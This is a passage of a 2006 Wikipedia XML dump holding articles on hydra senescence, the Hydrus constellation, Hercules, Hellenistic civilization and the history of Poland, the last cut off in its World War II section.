==Senescence==
It has often been assumed that hydra are unique among the animals in that they don't undergo [[senescence]] (aging), and so are [[Biological_immortality|biologically immortal]]. Evidence for this was provided by (Martinez 1998).

==References==
*Gilberson, Lance, ''Zoology Lab Manual'', 4th edition. Primis Custom Publishing. 1999
*Solomon, E., Berg, l., Martin, D., ''Biology'' 6th edition. Brooks/Cole Publishing. 2002
*Martinez, D.E. (1998) &quot;Mortality patterns suggest lack of senescence in hydra.&quot; ''Experimental Gerontology'' 1998 May;33(3):217-225. [http://www.ucihs.uci.edu/biochem/steele/PDFs/Hydra_senescence_paper.pdf Full text.]

[[Category:Cnidarians]]

[[de:Süßwasserpolyp]]
[[fr:Hydre (zoologie)]]
[[he:הידרה (ביולוגיה)]]
[[lt:Hidra]]
[[nl:Hydra (dier)]]
[[ja:ヒドラ (生物)]]
[[pl:Stułbia]]
[[th:ไฮดร้า (สกุล)]]</text>
    </revision>
  </page>
  <page>
    <title>Hydrus</title>
    <id>13768</id>
    <revision>
      <id>38754933</id>
      <timestamp>2006-02-08T12:19:07Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Hydrus |
abbreviation = Hyi |
genitive = Hydri |
symbology = the [[Sea snake|Sea Snake]] |
RA = ?????? |
dec= &amp;minus;?????? |
areatotal = 243 |
arearank = 61st |
numberstars = ?????? |
starname = &amp;??????; ?????? |
starmagnitude = ?????? |
meteorshowers =
*[[??????]]
*[[??????]] |
bordering =
*[[Dorado]]
*[[Eridanus (constellation)|Eridanus]]
*[[Horologium]]
*[[Mensa (constellation)|Mensa]]
*[[Octans]]
*[[Phoenix (constellation)|Phoenix]] (corner)
*[[Reticulum]]
*[[Tucana]] |
latmax = ?????? |
latmin = 90 |
month = December |
notes=}}
'''Hydrus''' ([[Latin]] for ''[[Hydra]]'', also referred to as &quot;male Hydra&quot; or &quot;little Hydra&quot;) is a minor southern [[constellation]]. The constellation was one of twelve constellations created by [[Pieter Dirkszoon Keyser]] and [[Frederick de Houtman]] between [[1595]] and [[1597]], and it first appeared in [[Johann Bayer]]'s ''[[Uranometria]]'' of [[1603]]. 

It should not be confused with [[Hydra (constellation)|Hydra]].

{{astro-stub}}

==Notable Stars==
===Stars with proper names===
* [[Alpha Hydri|&amp;alpha; Hyi]] &quot;Head of Hydrus&quot; 2.86
===Stars with Bayer designations===
* [[Beta Hydri|&amp;beta; Hyi]] 2.82 &amp;ndash; nearby; [[Gamma Hydri|&amp;gamma; Hyi]] 3.26; [[Delta Hydri|&amp;delta; Hyi]] 4.08; [[Epsilon Hydri|&amp;epsilon; Hyi]] 4.12; [[Zeta Hydri|&amp;Zeta; Hyi]] 4.83; [[Theta Hydri|&amp;theta; Hyi]] 5.51; [[Eta1 Hydri|&amp;eta;&lt;sup&gt;1&lt;/sup&gt; Hyi]] 6.77; [[Eta2 Hydri|&amp;eta;&lt;sup&gt;2&lt;/sup&gt; Hyi]] 4.68; [[Iota Hydri|&amp;iota; Hyi]] 5.51; [[Kappa Hydri|&amp;kappa; Hyi]] 5.99; [[Lambda Hydri|&amp;lambda; Hyi]] 5.09; [[Mu Hydri|&amp;mu; Hyi]] 5.27; [[Nu Hydri|&amp;Nu; Hyi]] 4.76; [[Pi1 Hydri|&amp;pi;&lt;sup&gt;1&lt;/sup&gt; Hyi]] 5.57; [[Pi2 Hydri|&amp;pi;&lt;sup&gt;2&lt;/sup&gt; Hyi]] 5.67; [[Sigma Hydri|&amp;sigma; Hyi]] 6.15; [[Tau1 Hydri|&amp;tau;&lt;sup&gt;1&lt;/sup&gt; Hyi]] 6.33; [[Tau2 Hydri|&amp;tau;&lt;sup&gt;2&lt;/sup&gt; Hyi]] 6.05

==Notable Deep-sky Objects==

==History==
Was found in 1609
== Headline text ==

==Mythology==
Since it was introduced in the 17th century, and due to its southern position is not visible from Greece, there is no earlier mythology associated with Hydrus, despite its name.

==See also==
{{ConstellationsByBayer}}
{{ConstellationList}}

==References==

==External links==
{{Commons|Hydrus}}

[[Category:Hydrus constellation| ]]

[[ca:Hidra mascle]]
[[da:Lille Søslange]]
[[de:Kleine Wasserschlange (Sternbild)]]
[[es:Hydrus]]
[[fr:Hydre mâle]]
[[ko:물뱀자리]]
[[it:Hydrus]]
[[la:Hydrus (sidus)]]
[[lt:Pietų Hidra]]
[[hu:Déli Vízikígyó (csillagkép)]]
[[nl:Kleine Waterslang]]
[[ja:みずへび座]]
[[nn:Den sørlege vasslangen]]
[[pl:Wąż Wodny (gwiazdozbiór)]]
[[pt:Hydrus]]
[[ru:Южная Гидра (созвездие)]]
[[sv:Lilla vattenormen]]
[[th:กลุ่มดาวงูไฮดรัส]]
[[zh:水蛇座]]</text>
    </revision>
  </page>
  <page>
    <title>Hercules</title>
    <id>13770</id>
    <revision>
      <id>42137763</id>
      <timestamp>2006-03-04T01:49:37Z</timestamp>
      <contributor>
        <username>Mcduff</username>
        <id>476429</id>
      </contributor>
      <minor />
      <comment>remove immature comment about Michel [sic] Jackson</comment>
      <text xml:space="preserve">{{otheruses}}
----
[[Image:BandinelliHercules.jpg|thumb|right|193px|''Hercules and [[Cacus]],'' by [[Baccio Bandinelli]], 1525 - 1534. Piazza della Signoria, [[Florence]].]]

'''Hercules''' (also known as '''Herakles''') was the name in [[Roman mythology]] of the hero '''[[Heracles]]''' from [[Greek mythology]], the Roman name being a [[Metathesis_(linguistics)|metathesis]] of the Greek name.  He is the son of [[Jupiter]], the Roman counterpart to the Greek god [[Zeus]] and the mortal [[Alcmene]]. He was made to perform twelve great tasks, called ''[[The Twelve Labours|The Twelve Labours of Hercules]]'' and became a god; the Romans adopted the Greek version of his life and works essentially unchanged, but added anecdotal detail of their own, some of it linking the hero with the geography of the Western Mediterranean. Details of [[cult (religion)|cult]] were adapted to Rome as well.

Hercules can be identified by his attributes, the [[Nemean Lion|lion skin]] and the [[Club (weapon)|club]]. He is a paragon of masculinity, and thus embodies characteristics such as great strength, great courage, and great appetite, including great sexual appetite for women and boys. By conquering negative forces he is said to have &quot;made the world safe for mankind.&quot; He is often compared to the biblical strong man [[Samson]], who also possessed vast superhuman strength and performed similar feats such as wrestling a [[lion]]. The later [[Roman Emperor]]s, in particular [[Commodus]] and [[Maximinus]],  often identified or compared themselves with Hercules.

The ''Great Altar of Hercules'', housed within the [[Forum Boarium]], has been dated to the [[6th century BC|6th]] or [[5th century BC]].

What is believed to be an [[Egypt|Egyptian]] [http://www.touregypt.net/featurestories/herculest.htm Temple of Hercules] in the [[Bahariya Oasis]] dates to 21 BC.

&lt;!-- needs work ... There are also some astronomical details:
* Variable stars alpha Her, S Her, SZ Her
* Binaries zeta Her, kappa Her, mu Her, rho Her, u Her, 95 Her
* Globular clusters M 13, M 92, NGC 6229
* Planetary Nebula NGC 6210
* X-ray source Hercules X-1
* Meteor Shower: Tau Herculids --&gt;

==Origin of the legend==

The cult of Hercules may have been the first foreign one to be adopted in Rome; his most important shrine, the [[Ara Maxima]], was in the original [[Palatine Hill|Palatine]] settlement. He became popular with merchants, who customarily paid him a [[tithe]] of their profits.

Hercules is said to have founded an altar where the [[Boarium Forum|Forum Boarium]], the cattle market, was later held. One possible origin for the myth of the [[Geryon|Cattle of Geryon]], one of [[The Twelve Labours]] of [[Herakles]], has been attributed to an older [[Milky Way (mythology)|Milky Way myth]] which associates the [[Milky Way]] constellation with a herd of [[dairy]] [[cattle]], where each [[cow]] is represented by a [[star]].

A [[mosaic]] discovered in the ruins of [[Pompeii]] vividly depicts Hercules as a black man ([http://academic.reed.edu/humanities/110Tech/RomanAfrica2/pompei%26herc1.jpg], [http://academic.reed.edu/humanities/110Tech/RomanAfrica2/#Subject]).

There is also an ancient tradition of killing a [[lion]] to earn entry into manhood among the [[Maasai]], who are further known for their deeply-rooted tradition of [[cattle]]-grazing.  But no firm connection between the [[Maasai]] and the legend of Hercules has ever been established.

==The Greek Legend==
After killing his music tutor with a lute, he was sent to tend cattle on a mountain by Amphitryon. Here, he was visited by two nymphs - Pleasure and Virtue - who offered him a choice between a pleasant and easy life or a severe but glorious life. He chose the latter.

One of Heracles' challenges was put to him by [[King Thespius]] of [[Thespia]] who wished him to impregnate each of his 50 daughters. According to the legend, Heracles did this in one night. 

Later in [[Thebes, Greece|Thebes]], Heracles married [[King Creon]]'s daughter, [[Megara (mythology)|Megara]]. However, Hera drove Heracles into a fit of madness during which he killed his wife and children. Upon realizing what he had done, he fled to the [[Oracle of Delphi]]. Unbeknownst to him, the Oracle was guided by Hera. He was directed to serve [[King Eurystheus]] for 12 years and perform any task which he required, resulting in [[The Twelve Labours]] of Hercules.

After completing these tasks, Heracles joined the [[Argonauts]] in the search of the [[Golden Fleece]]. They rescued heroines, conquered Troy, and helped the gods fight against the [[Gigantes]]. He also fell in love with [[Princess Iole of Oechalia]]. Heracles' advances were spurned by the king and his sons, except for one - Iole's brother Iphitus. Iphitus became Heracles best friend. But once again, Hera drove Heracles mad and he threw Iphitus over the city wall to his death. Once again, Heracles purified himself through servitude - this time to Queen Omphale of Lydia.

Heracles later married [[Deianira]]. When travelling with her, he came to a river where the centaur Nessus made some money by carrying people across. Heracles decided to make his own way but entrusted his wife to the Centaur. However, Nessus attempted to rape Deianira and Heracles shot him with a poisoned arrow. Nessus, as he was dying, gave Deiranira his coat which he stated would stop Heracles from ever being unfaithful. He did not however mention, that as it was stained with his blood - it would poison whoever wore it.

Heracles later decided to elope with Princess Iole, and realizing he was not dressed for the occasion requested that his wife send him a coat. Deianira, who knew more about Heracles' relationship with Iole than he thought, decided to send Nessus' coat in order to keep him faithful. However, when Heracles put on the coat it burned his skin, and he was unable to remove it. Heracles begged Zeus to save him, but his calls went unanswered. He eventually ordered his attendants to light fire to him in order to put him out of his misery. The burning of his physical body burned off the mortal parts of him (since he was a demi-god), thus only the immortal parts were left.  Because his mortal parts had been incinerated, he could now become a full god and join his father and the other Olympians on Mount Olympos.  

=== Acca Larentia ===

In [[Roman mythology]], [[Acca Larentia]] was Hercules' mistress.  She was married to [[Tarutius]], a wealthy merchant.  When he died, she gave his money to charity.  In another version, she was the wife of [[Faustulus]].

== Movie and television adaptations ==
Views of Heracles/Hercules since the Renaissance have made few distinctions, the Roman figure overshadowing the Greek. Later interpretations of Heracles' legend cast him as a wise leader and a good friend (many of the movie and TV adaptations cast him in this light, especially the recent syndicated TV series ''[[Hercules: The Legendary Journeys]]'', and the movie [[Hercules (movie)|Hercules]]). While he was a champion and a great warrior, he was not above cheating and using any unfair trick to his advantage. However, he was renowned as having made the world safe for man by destroying many dangerous monsters, and he was also held up as an example for never having attacked first, but for having conquered all merely by defending himself when attacked, and protecting the helpless and distraught. His self-sacrifice obtained him the ascent to the Olympian realms and he was welcomed by the gods. The legend of Heracles endures, though often co-opted to suit the political fashion of the day.

As a public domain character Hercules or Heracles has appeared in several comic book adaptations; see: ''[[Hercules (comics)]]''

See also: [[sword and sandal]] ([[list of cinematic genres|film genre]]); [[Maciste]]; ''[[The Sons of Hercules]]''; ''[[The Mighty Hercules]]''
The legend of Hercules has been described in many [[film|movie]] and [[television]] adaptations.

* [[Steve Reeves]] starred in a number of 1950s movies as Hercules
* A syndicated TV series ''[[The Sons of Hercules]]'', which repackaged Italian [[Maciste]] films 
* Hercules appears as a character in the movie ''[[Jason &amp; the Argonauts]]''
* [[Arnold Schwarzenegger]]'s 1969 film debut, ''[[Hercules in New York]]''
* [[Lou Ferrigno]] played Hercules in the 1983 movie of the same name.
* The Disney movie ''[[Hercules (1997 film)]]''
* [[Hércules CF]] A football team based in [[Alicante]], [[Spain]].
* [[Hercules (constellation)|Hercules]], a constellation
* The [[moon|lunar]] [[Impact crater|crater]] [[Hercules (crater)|Hercules]]
* [[Băile Herculane]], a [[spa town]] in [[Romania]] where Hercules supposedly rested during his travels
* [[Hercules (1907)|''Hercules'']], a [[1907]] built steam tug now preserved in [[San Francisco]], [[California]].
* [[Hercules, California|Hercules]], a small town in [[California]] named after the [[Hercules Powder Company]]
* [[Hercules Motorcycles]], built by aviation pioneer [[Glenn Curtiss]]
* [[HMS Hercules|HMS ''Hercules'']], several ships of the [[Royal Navy]]
* The [[Bristol Hercules]], an [[aircraft engine]]
* The [[C-130 Hercules]], a transport aircraft
* [[USS Hercules (PHM-2)|USS ''Hercules'']], a [[hydrofoil]] formerly operated by the [[United States Navy|U.S. Navy]].
* [[Hercules emulator|Hercules]], an [[IBM mainframe]] [[emulator]]
* [[Hercules Graphics Card]]


[[Category:Pederastic heroes and deities]]</text>
    </revision>
  </page>
  <page>
    <title>Hellenistic civilization</title>
    <id>13771</id>
    <revision>
      <id>41879748</id>
      <timestamp>2006-03-02T08:56:48Z</timestamp>
      <contributor>
        <username>Wcmiker</username>
        <id>60596</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The term '''''Hellenistic''''' (derived from '''{{Polytonic|Ἕλλην}}''' ''Héllēn'', the [[Greeks]]' traditional self-described ethnic name) was established by the [[Germany|German]] [[historian]] [[Johann Gustav Droysen]] to refer to the spreading of [[Greek culture]] over the non-Greek peoples that were conquered by [[Alexander the Great]]. According to Droysen, the Hellenistic civilisation was a fusion of Greek and &quot;Oriental&quot; culture that eventually gave [[Christianity]] the opportunity to flourish. The main cultural centers expanded from mainland Greece, to [[Pergamon]], [[Rhodes]], [[Antioch]] and [[Alexandria]]. 

Modern historians see the death of [[Alexander the Great]] in [[323 BC]] as the beginning of the Hellenistic period. Alexander's armies conquered the eastern Mediterranean, [[ancient Egypt|Egypt]], [[Mesopotamia]], and the [[Iranian plateau]], [[Central Asia]], and parts of [[India]]. Following Alexander's death, there was a struggle for the succession, known as the wars of the [[Diadochi]] (Greek for ''successors'').  These ended in [[281 BC]] with the establishment of four large territorial states:

* The [[Ptolemaic dynasty]] in [[Egypt]] based at [[Alexandria]];
* The [[Seleucid dynasty]] in [[Syria]] and [[Mesopotamia]] based at [[Antioch]];
* The [[Antigonid dynasty]] in [[Macedon]] and central Greece;
* The [[Attalid dynasty]] in [[Anatolia]] based at [[Pergamon|Pergamum]].

[[Image: MenanderCoin.jpg|thumb|300px|Silver [[drachm]] of the [[Indo-Greek]] king [[Menander I]] (155-130 BC).&lt;br&gt;'''Obv:''' [[Greek alphabet|Greek]] legend, ΒΑΣΙΛΕΩΣ ΣΩΤΡΩΣ ΜΕΝΑΝΔΡΟΥ &quot;[coin] of Saviour King Menander&quot;.&lt;br&gt;'''Rev:''' [[Kharosthi]] legend: MAHARAJA TRATASA MENADRASA &quot;Saviour King Menander&quot;. [[Athena]] advancing right, with thunderbolt and shield. [[Taxila]] mint mark.]]
His successors held on to the territory west of the [[Tigris]] for some time and controlled the eastern Mediterranean until the [[Roman Republic]] took control in the [[2nd century BC|2nd]] and [[1st century BC|1st]] centuries BC. Most of the east was eventually overrun by the [[Parthia]]ns, but Hellenistic culture held on in distant locations, like the [[Greco-Bactrian kingdom]] in [[Bactria]], or the [[Indo-Greek kingdom]] in northern [[India]], or the [[Cimmerian Bosporus]]. Hellenistic culture remained dominant on the Eastern part of the [[Roman Empire]] until its Christianization and transition to the [[Byzantine Empire|Byzantine Empire]].

It must also be added that Hellenism made considerable inroads also in monarchies governed by kings of Persian or Thracian origin, as was the case with [[Bithynia]], [[Cappadocia]] and [[Pontus]].

The end of the Hellenistic period is generally seen as [[31 BC]], when the kingdom of [[History of Greek and Roman Egypt|Ptolemaic Egypt]] was utterly defeated by the Romans at the [[Battle of Actium]]. As a result, Egypt's last ruler, [[Cleopatra VII of Egypt|Cleopatra]], committed suicide and her kingdom was annexed by [[Caesar Augustus]]. 

==See also==
* [[Hellenistic Greece]]
* [[Diadochi]]

== Reference ==
* Sir [[William Tarn]]: ''Hellenistic civilisation''.


[[Category:Alexander the Great]]
[[Category:Ancient Greece]]
[[Category:Ancient Jewish Greek history]]
[[Category:Civilizations]]

[[de:Hellenismus]]
[[el:&amp;#917;&amp;#955;&amp;#955;&amp;#951;&amp;#957;&amp;#953;&amp;#963;&amp;#964;&amp;#953;&amp;#954;&amp;#942; &amp;#928;&amp;#949;&amp;#961;&amp;#943;&amp;#959;&amp;#948;&amp;#959;&amp;#962;]]
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  </page>
  <page>
    <title>History of Poland</title>
    <id>13772</id>
    <revision>
      <id>41732927</id>
      <timestamp>2006-03-01T10:22:54Z</timestamp>
      <contributor>
        <username>Molobo</username>
        <id>330204</id>
      </contributor>
      <minor />
      <comment>rv attempts to force POV by Dr.Dan, the person is under debate</comment>
      <text xml:space="preserve">{{History of Poland}}
In the first centuries of its emergence in the 10th century, the [[Poland|Polish nation]] was led by a series of strong rulers who converted the [[Poles]] to [[Christianity| Christendom]], created a strong [[Central Europe]]an state, and integrated Poland into [[Culture of Europe|European culture]]. Formidable foreign enemies and internal fragmentation eroded this initial structure in the [[thirteenth century]], but consolidation in the 1300s laid the base for the dominant [[Polish Kingdom]] that was to follow. The [[Jagiellon dynasty]] 1385–1569 formed the [[Polish-Lithuanian union]] beginning with the Lithuanian grand duke [[Ladislaus II of Poland|Jagiello]]. The partnership proved profitable for the Poles and Lithuanians, who played a dominant role in one of the most powerful empires in [[Europe]] for the next three centuries. The ''[[Nihil novi]]'' act adopted by the Polish [[Sejm]] ([[parliament]]) in 1505 transferred most [[legislative power]] from the [[monarch]] to the Sejm.  This event marked the beginning of the period known as &quot;[[Nobles' Commonwealth]]&quot; when the [[state]] was ruled by the &quot;free and equal&quot; Polish [[nobility]] (''[[szlachta]]''). The [[Lublin Union]] of 1569 constituted the [[Polish-Lithuanian Commonwealth]] as an influential player in [[Europe]]an [[politics]] and a vital [[culture|cultural]] entity. By the 18th century the nobles' democracy gradually declined into [[anarchy (word)|anarchy]], making the once powerful Commonwealth vulnerable to foreign influence. Eventually the country was [[partitions of Poland|partitioned by its neighbors]] and erased from the map in 1795. Although the majority of the [[szlachta]] was reconciled to the end of the [[Polish-Lithuanian Commonwealth| Commonwealth]] in 1795, the possibility of Polish independence was kept alive by events inside and outside of Poland throughout the 19th century. Poland's location in the very center of Europe became especially significant in a period when both [[Prussia]] and [[Russian Empire|Russia]] were intensely involved in European rivalries and alliances and modern nation states took form over the entire [[History of Europe#The 16th, 17th and 18th century|continent]].  Poland regained its independence in 1918, but the [[Second Polish Republic]] was destroyed by in the [[Polish September Campaign]], marking the beginning of the [[Second World War]].  Nonetheless [[Polish government in exile]] never surrendered and [[Polish contribution to World War II|managed to contribute greatly]] to the Allies victory. [[Nazi Germany]] forces were forced to retreat from Poland as [[Soviet Union]] [[Red Army]] advanced, which led to the creation of [[People's Republic of Poland]], a Soviet [[satellite state]]. By late 1980s Polish reform movement, [[Solidarity]], was able to enforce a peaceful transistion from [[communist state]] to [[democracy]], which resulted in the creation of the modern Polish state.

Over the past millennium, the territory ruled by [[Poland]] has shifted and varied greatly. At one time, in the 16th century, [[Poland]] was the second largest state in [[Europe]], after [[Russia]]. At other times there was no separate Polish state at all. Poland regained its independence in 1918, after more than a century of rule by its neighbours, but its borders shifted again after the Second World War.

==Early history of Poland (966-1385)==
{{mainarticles|[[History of Poland (966-1385)]], [[Kingdom of Poland of the first Piasts]], [[Kingdom of Poland during feudal dissolution]] and [[Kingdom of Poland of the later Piasts]]}}

The Polish state was born in 966 with the [[Baptism of Poland|baptism]] of [[Mieszko I of Poland|Mieszko I]], duke of the [[Slavic peoples|Slavic]] tribe of [[Polans (western)|Polans]] and founder of the [[Piast dynasty]].  His conversion from Pagnism to Christianity marked the first written historical event of Poland.  By 990, when Mieszko officially submitted to the authority of the [[Holy See]], he had transformed his country into one of the strongest powers in [[Eastern Europe]].  Mieszko's son [[Boleslaus I of Poland|Bolesław the Brave]] built on his father's achievements, for the first time uniting all the provinces that subsequently came to comprise the traditional territory of Poland.  In 1025 he became the first king of Poland.  After his death the country entered a period of instability, but was unified under the reign of [[Boleslaus III of Poland|Bolesław the Wrymouth]].  After he died in 1138, however, the kingdom was divided among four of his sons, ushering in a period of fragmentation.  For two centuries, the Piasts sparred with each other, the clergy, and the nobility for control over the divided kingdom.  The civil strife and foreign invasions, such as that of the Mongols in 1241, weakened and depopulated the small Polish principalities.

In 1226, [[Konrad I of Masovia]] invited the [[Teutonic Knights]] to Poland to help him fight the pagan [[Prussian people|Prussians]] on the border of his lands.  After exterminating the Prussians, the Knights turned their attention to Poland and Lithuania, waging war with them for most of the 14th and 15th centuries.

In the middle of 14th century Poland started expansion on the East and annexed Galich Rus'.

The regional division ended when [[Wladislaus I of Poland|Władysław the Elbow-high]] united the various principalities of Poland.  His son [[Casimir III of Poland|Kazimierz the Great]], the last of the Piast dynasty, considerably strengthened the country's position in both foreign and domestic affairs.  Before his death in 1370, the sonless king arranged for his nephew, the [[Andegawen]] [[Louis I of Hungary|Louis of Hungary]], to inherit the throne.

In 1385, the [[Union of Krewo]] was signed between Louis' daughter [[Jadwiga of Poland|Jadwiga]] and the Lithuanian Grand Duke  [[Wladislaus II of Poland|Władysław]], beginning the [[Polish-Lithuanian Union]] and strengthening both nations in their shared opposition to the Teutonic Knights and the growing threat of [[Muscovy]].

==The Jagiellon Era (1385-1572)==
{{mainarticles|[[History of Poland (1385-1569)]] and [[Kingdom of Poland of the Jagiellons]]}}

The [[personal union]] with the [[grand duchy|Grand Duchy]] of [[Lithuania]] to the North-East, paved the way for the extension of Polish power far to the East and the creation (by the [[Union of Lublin]] in 1569), of a unified [[Polish-Lithuanian Commonwealth]] (''[[Rzeczpospolita]]''), stretching from the [[Baltic|Baltic Sea]] and the [[Carpathians]] mountains, to present-day [[Belarus]] and Western and Central [[Ukraine]] (which earlier had been Kievan Rus' principalities).

In the north-west, the [[Teutonic Knights]], in control of [[Prussia]] since the 13th century, were forced after their defeats by a combined Polish-Lithuanian force in the [[Battle of Grunwald]] (1410), and in the later [[Thirteen Years War]], to surrender to the Polish crown, the Western half of the territory they had controlled (the areas known afterwards as [[Royal Prussia]]), and to accept Polish-Lithuanian [[suzerainty]], over the remainder (the later [[Ducal Prussia]]) in the 1466, [[Peace of Toruń 1466|Second Treaty of Toruń]]. 

During this period Poland became the home to Europe's largest Jewish population, as royal edicts guaranteeing Jewish safety and religious freedom from the 13th century, contrasted with bouts of persecution in Western Europe. This persecution intensified following the [[Black Death]] of 1348–1349, when some in the West, blamed the outbreak of the plague, on the Jews themselves. Much of Poland suffered relatively little from this disease, while Jewish immigration brought their valuable contributions and abilities to the rising state. The greatest increase in Jewish numbers, occurred in the 18th century, when Jews came to make up 7% of the population. Generally speaking, the Kings of Poland, and the [[szlachta]] (nobles), were friendly to the Jews, while the peasants and the Catholic church were not.

==The Polish-Lithuanian Commonwealth (1572-1795)==
{{mainarticles|[[History of Poland (1569-1795)]], [[Polish-Lithuanian Commonwealth]]}}

During the Polish-Lithuanian Commonwealth, in the 16th century, Poland became the only country to ever elect a king. This king would serve as the monarch until he died. At that time the country would have another election.

In 1572 CE, the Polish king Zygmunt August died without any heirs. At the time, Poland didn’t have any method of choosing a king if such a thing happened. It took a long time for the Poles to decide how to elect their king. Finally, after much debate, they decided to let the entire nobility of Poland decide who the king was to be. The nobility were to gather near Warsaw and vote in a “free election”. However, they did not have elections every two or four years like most countries do today. Instead, they voted after the death of the old king.

The first Polish election was held in 1573. There were four men running for king in this election. These men were; Henryk Walezy, who was the brother of the king of France, the Russian tsar Ivan IV &quot;the Terrible&quot;, Archduke Ernest from the Austrian Habsburg dynasty, and the king of Sweden, Johan Vasa III. Walezy was the winner in a very disorderly election. The reason for so much disorder was that a huge amount of people came to elect the new king. Walezy only served as king for four months. After four months as Polish king, he received news that his brother had died. He then went to France and claimed the throne as Henry III. This surprised much of the country because Poland had a better economy at the time.

Poland stopped electing kings in 1795, when Russia took over, after the death of Stanislaw August Poniatowski. The elected kings in order of when they were elected were: Henryk Walezy, Stefan Batory, Zygmunt Waza III, Wladyslaw Waza IV, Jan Kazmierz Waza, Michal Korybut Wisniowiecki, Jan Sobierski III, August II “The Strong”, Stanislaw Leszczynski, August III and, last, Stanislaw August Poniatowski.

The [[Polish-Lithuanian Commonwealth]], following upon the [[Union of Lublin]], became an interesting counterpoint to the [[absolute monarchy|absolute monarchies]] gaining power in Europe. Its quasi-[[democracy|democratic]] [[political system]] of [[Golden Liberty]], albeit limited to nobility (''[[szlachta]]'') was mostly unprecedented in the [[history of Europe]]. 

However the series of power struggles between the lesser nobility, the higher nobility ([[magnate]]s) and [[free election|elected]] [[monarch|kings]] undermined [[citizenship]] values and gradually eroded the [[government]]'s function and authority. After the series of devastating wars in the middle of the 17th century (most notably the [[Chmielnicki Uprising]] and [[The Deluge]]) Poland-Lithuania stopped being an influential player in the European politics. Its [[economic system|economy]] and growth was further damaged by the nobility reliance on [[agriculture]] and [[serfdom]], delaying the [[industrialization]] of the country. By the beginning of the 18th century, the Polish-Lithuanian Commownealth, the largest European country, was little more then a pawn of its neighbours ([[Russian Empire]], [[Prussia]] and [[Austro-Hungary]]) who interfered in its domestic politics almost at will. 

With the coming of the [[Polish Enlightenment]] in the second half of the 18th century, the movement for reform and revitalization of the country made important gains, culminating in the adoption of the [[Constitution of May 3]], the first modern codified [[constitution]] on the [[Europe|European]] continent. However the reforms, which transformed the Commonwealth into a [[constitutional monarchy]] were viewed as dangerous by Poland's neighbours, who didn't want the rebirth of the strong Commonwealth. Before the Commonwealth could fully implement and benefits from its reforms, it was [[War in the Defence of the Constitution|invaded by its neighbours]].

==Partitioned Poland (1795-1918)==
{{mainarticles|[[History of Poland (1795-1918)]], [[Galicia (Central Europe)|Kingdom of Galicia]], [[Duchy of Warsaw]], [[Congress Poland|Congress Kingdom]], [[Free City of Kraków]], [[Grand Duchy of Poznań]] and [[Kingdom of Poland (1916-1918)|Regency Kingdom]]}}

Polish independence ended in a series of [[Partitions of Poland| partitions]] (1772, 1793 and 1795) undertaken by [[Russia]], [[Prussia]] and [[Austria]], with Russia gaining most of the Commonwealth's territory including nearly all of the former [[Lithuania]] (except [[Podlasie]] and lands West from [[Niemen river]]), [[Volhynia]] and [[Ukraine]]. Austria gained the populous southern region henceforth named [[Galicia (Central Europe)| Galicia]]–[[Lodomeria]], named after the Duchy of [[Halicz]] and [[Wlodzimierz Wolynski| Volodymyr]]. (The Duchy was briefly occupied by [[Hungary]] between 1372 and 1399 and [[Habsburg]]s claimed were inherited after Hungarian Kings, despite the fact that [[Wlodzimierz Wolynski|Volodymyr]] was not a part of [[Galicia (Eastern Europe)|Galicia]]). In 1795 Austria also gained the land between [[Kraków]] and [[Warsaw]], between [[Vistula river]] and [[Pilica river]]. Prussia acquired the western lands from the [[Baltic Sea|Baltic]] through [[Greater Poland]] to [[Kraków]], as well as [[Warsaw]] and [[Lithuania| Lithuanian]] territories to the north-east ([[Augustów]], [[Mariampol]]) and [[Podlasie]]. The last heroic attempt to save Poland's independence was a national uprising (1794) led by [[Tadeusz Kościuszko]], however it was eventually quenched.

Following the [[France|French]] emperor [[Napoleon I]]'s defeat of Prussia, a Polish state was again set up in 1807 under French tutelage as the [[Duchy of Warsaw]].  Upon Austria's defeat in 1809, Lodomeria was added, giving the new state a population of some 3.75 million, a quarter of that of the former commonwealth.  Polish nationalists were to remain among the staunchest allies of the French as the tide of war turned against them, inaugurating a relationship that continued into the [[twentieth century]]. 

With Napoleon's defeat, the [[Congress of Vienna]] in 1815 converted most of the grand duchy into a [[Congress Poland|Kingdom of Poland]] ruled by the Russian [[Tsar]]. Several national uprisings were bloodily subdued by the partitioning powers.  However, Polish patriotism and their striving to regain independence could not be extinguished by them. The opportunity for freedom appeared only after [[World War I]] when the oppressing states were defeated or weakened.

==Independence Regained (1918-1939)==
{{mainarticles|[[History of Poland (1918-1939)]] and [[Second Polish Republic]]}}

The upcoming [[World War I]] and the political turbulence that was sweeping throughout Europe in 1914 offered the Polish nation hopes for regaining independence.  By the end of World War I, Poland had seen the defeat or retreat of all three occupying powers. 

Polish independence was eventually proclaimed on [[November 3]], [[1918]] and later confirmed by the [[Treaty of Versailles]] in 1919; the same treaty also gave Poland some German and Austrian territories (see [[Polish Corridor]]). Polish independence has boosted the development of culture and economy; however, the new Polish state had had only 20 years of relative stability and uneasy peace before Poland's aggressive neighbours tried to wipe her from the map of Europe again.

==World War II in Poland (1939-1945)==
{{mainarticles|[[History of Poland (1939-1945)]], [[Polish government in exile]] and [[Polish Secret State]]}}

On August 23, 1939, [[Germany]] and the [[Soviet Union]] signed the [[Ribbentrop-Molotov pact|Ribbentrop&amp;ndash;Molotov]] non-aggression pact, which secretly provided for the dismemberment of Poland into [[Nazi]] and Soviet-controlled zones.  On [[September 1]], [[1939]], [[Hitler]] ordered his troops into Poland. On [[September 17]], Soviet troops invaded and then occupied most of the areas of eastern Poland having significant [[Ukrainians|Ukrainian]] and [[Belarusians|Belarusian]] populations under the terms of this agreement. After Germany invaded the Soviet Union in June 1941, Poland was completely occupied by German troops.

The Poles formed an underground resistance movement and a [[Polish government in exile, 1939&amp;ndash;1990|government in exile]], first in [[Paris]] and later in [[London]], which was recognized by the Soviet Union. During [[World War II]], 400,000 Poles fought under Soviet command, and 200,000 went into combat on Western fronts in units loyal to the Polish government in exile. Many Polish refugee camps were set up, including one in Valdivadé, near [[Kolhapur]] in [[India]]. The camp numbered about 5000, and the Polish embassy in exile had its office in [[Bombay]]. The camp existed from 1943 to 1948.

In April 1943, the Soviet Union broke relations with the Polish government in exile after the German military announced that they had discovered mass graves of murdered Polish army officers at [[Katyń massacre|Katyń]], in the USSR (the Soviets claimed that the Poles had insulted them by requesting that the [[Red Cross]] investigate these reports.) In July 1944, the Soviet [[Red Army]] entered Poland, defeated Germans (600.000 Soviet soldiers died in fights) and established a communist-controlled &quot;Polish Committee of National Liberation&quot; at [[Lublin]].

